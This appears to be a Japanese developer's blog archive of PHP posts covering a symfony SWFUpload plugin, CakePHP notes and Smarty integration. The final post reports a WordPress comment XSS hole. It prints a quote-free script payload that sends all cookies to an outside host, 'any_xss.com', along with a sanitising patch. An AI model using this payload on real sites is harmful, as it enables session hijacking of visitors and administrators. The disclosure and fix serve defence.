log.metatype

Archive for the "php" Tag

SWFUpload Plugin for symfony

  • May 12, 2008, 20:47
  • Tags: php, lib

探しても見つからなかったので、
SWFUploadsymfony に組込むプラグインを作ってみた。
画像ファイルのサムネイル生成は sfThumbnailPlugin を使った。

» mySWFUploadPlugin

2008-07-16 追記
公式に出たっぽい sfSWFUploadPlugin


インストールとテスト

適当なプロジェクトを作ってテストするまで。

  1. プロジェクト作成。
    mkdir myproj
    cd myproj
    symfony init-project myproj
  2. プラグインをインストール。
    サムネイル生成に必要なsfThumbnailPluginもインストール。
    symfony plugin-install http://src.metatype.jp/mySWFUploadPlugin
    symfony plugin-install http://plugins.symfony-project.com/sfThumbnailPlugin
  3. サンプル用のappsとwebに入れ替える。
    rm -R apps
    rm -R web
    mv plugins/mySWFUploadPlugin/sample/apps apps
    mv plugins/mySWFUploadPlugin/sample/web web
  4. パーミッション修正とキャッシュクリア。
    symfony fix-perms
    symfony cc
  5. これでwebにブラウザからアクセスしてテストできる。
    ファイルの配置はサンプルを見れば大体分かると思う。

使い方

詳しく説明すると大変そうだから、簡単なフローの説明。

  1. SWFUploadのコンストラクタを使わずに、
    設定名(name)を付けて、
    SWFUpload.addSetting(name, {
    	SWFUpload Settings…
    });
    設定を定義しておく。
    イベントハンドラを設定しないと、
    web/mySWFUploadPlugin/handlers.js のデフォルトの挙動が適用される。
    設定はテンプレートに直接書いても良いし、
    外部JavaScriptにまとめておいてもOK。

  2. テンプレートでSWFUploadヘルパを有効。
    <?php use_helper('SWFUpload') ?>
    ヘルパを使ってSWFUploadを起動する。
    <?php echo swfupload($name, $id, $js, $version) ?>
    引数 省略時 説明
    $name string 必須 SWFUploadの設定名
    $id string|array 必須 アップロード開始トリガーになる要素のID
    $js string|array 読込まない SWFUploadの設定や使いたい外部JavaScriptなど。
    use_javascriptヘルパを使って読込まれるので、
    web/js/ からファイル名までのパスでOK。
    $version int 9 Flashのバージョン、通常は指定なしでOK。


  3. アップロードが実行される毎に、
    現在のモジュールの executeSWFUpload がコールされる。

    アップロード処理をサポートする mySWFUploadクラスを用意している。
    mySWFUploadクラスを通すとセッションに保存されたファイルIDで、
    アップロードファイルの情報を参照できる。
    メソッド 引数 説明
    __construct $tmp_dir
    $param
    $tmp_dir でアップロードファイルを一時的に移動するディレクトリを指定。 省略時は、システムのテンポラリディレクトリのまま。

    $param はアップロードファイルのパラメータ名。
    省略時は、Filedata になる、通常は指定なしでOK。
    createThumbnail $maxWidth
    $maxHeight
    $scale
    $inflate
    $quality
    $adapterClass
    $adapterOptions
    sfThumbnailPluginを使ってサムネイルを生成する。
    引数は sfThumbnail コンストラクタと同じ。
    setResponse $data SWFUploadへのレスポンスを出力する。
    $data にPHP変数を渡すとJSON形式で、
    イベントハンドラ upload_success_handler で受け取れる。
    getFile $id staticメソッド。
    $id にセッションに保存されたファイルIDを渡すと、
    アップロードファイルの情報を返す。


  4. イベントハンドラ upload_success_handler を設定してあれば、
    executeSWFUpload からのレスポンスを受け取る。
    引数 説明
    file SWFUploadが渡すファイルオブジェクト
    id executeSWFUpload からのレスポンス。
    mySWFUpload->setResponse を使っていれば、
    セッションに保存されたファイルIDを受け取る。
    data mySWFUpload->setResponse にPHP変数を渡していれば、
    JSON形式で受け取る。
    this.getModuleURL() で現在のモジュールの正規のURLが取得できる。
    this.getSessionID() で現在のセッションIDが取得できる。

  5. あとはイベントハンドラ側で表示処理をしたり、
    モジュールのアクションに渡したりすれば良いのでは。

適当に作ったから、色々と足りない部分がありそう。

CakePHP 1.2.0.5847 pre-beta

  • Oct 22, 2007, 03:40
  • Tags: php

CakePHPが1.2.0.5847に更新されていたので試してみた。

デバックレベルの設定がConfigure経由に変わっていた。
その他、core.phpのいくつかの設定もConfigureに変更されたっぽい。
※ 旧defineのままで動作するかは未確認

Model::validatesに引数渡すと警告されるのも変わらず。
※ $this->dataを渡さないと全てtrueが返る。
  使い方間違っているかな?

とりあえずメモ。

CakePHP ErrorHandler+Smarty

  • Oct 10, 2007, 02:12
  • Tags: php

CakePHPのエラービューにもSmartyを使おうと思って
error.phpを書いてみたけど、
結局、全てSmartyに回っても綺麗に処理できないので、やめたー

SnipplrCakePHP ErrorHandler+Smarty

Posted by inamorix on October 10th, 2007

  1. <?php
  2. class AppError extends ErrorHandler {
  3.         private $_method;
  4.         private $_messages;
  5.        
  6.         public function __construct ($method, $messages) {
  7.                 $this->_method   = $method;
  8.                 $this->_messages = $messages;
  9.                 parent::__construct('error', $messages);
  10.         }
  11.        
  12.         public function error ($params) {
  13.                 $this->controller =& new SmartyController();
  14.                
  15.                 if ($this->_method == 'error') {
  16.                         parent::error($params);
  17.                 }
  18.                 else if (Configure::read() > 0) {
  19.                         call_user_func_array(array(&$this, $this->_method), $this->_messages);
  20.                 }
  21.                 else {
  22.                         $this->_method = 'error';
  23.                         call_user_func_array(array(&$this, 'error404'), $this->_messages);
  24.                 }
  25.         }
  26. }
  27. ?>

一度、サブクラスのerrorに強制的に引込んで、
Smarty用コントローラに上書きしてからメソッドを振り分ける。
いや、全然使えません。

Using Smarty at PHP framework view

  • Oct 04, 2007, 09:22
  • Tags: php

自分と相性の良いPHPフレームワークを探そうと、
Zend FrameworkCakePHPを触ってみている。

とりあえずビューにSmartyを使いたくて、
何も気にしなければ、普通に組込めるのだけど、
いくつか希望はあって色々と試している。

  • Smartyライブラリ本体は分離して1箇所で共有
    include_pathで通して使う想定
  • Smarty組込み用のサブクラスは1箇所で共有
    アプリケーション毎に置いたりしない
  • Smarty用コントローラを継承するだけで使える
    ビューの切替えは内部で勝手に行う
  • Smartyの各設定(template, compile, cacheとか)を外部から指定可能
    コンフィグファイルとか定数とか?
  • 各フレームワークの流儀のままで使える
    特別な対処は必要なし、自動レンダリングのまま、ビューがSmartyなだけ

こんな感じで大体動いているのだけれど、かなり怪しい。

特にCakePHPは結構オーバーライドが必要な上に、
SVNのVer 1.2.0.xだし、ヘルパーも絡んでくると不明過ぎる〜。
Zend Frameworkは割と綺麗に入りそう(継承しやすいっ)

SymfonyCodeigniterも気になるので、試してみよ〜

Dangerous WordPress comment

  • Oct 02, 2007, 08:15
  • Tags: php

何となく思い付いて、
WordPressのコメント欄で<script>タグを使ってみたら通っちゃった。
何故だか分からないけど、デフォルトでこうなる模様。

一応、クォーテーションはエンコードするみたいだけど、
クォーテーションを使わなくても、

<script>location.href = /http:/.source + String.fromCharCode(47) +
/any_xss.com/.toString() + document.cookie</script>

こんな感じにしたら、
任意のサイトに全Cookieの値を送信できちゃう。
管理画面でも動作しちゃう。

適切な対処法が見つからなかったので、
コメントをDBに格納する前にタグを全てエンコードする事にした。
wp-comments-post.php の 30行目直後に、

$comment_content = preg_replace('/</', '<', $comment_content);
$comment_content = preg_replace('/>/', '>', $comment_content);

を追加。

自動リンクと自動改行は、この後に処理されるので、
タグ使用不可という事で、こんな感じで良いかしら?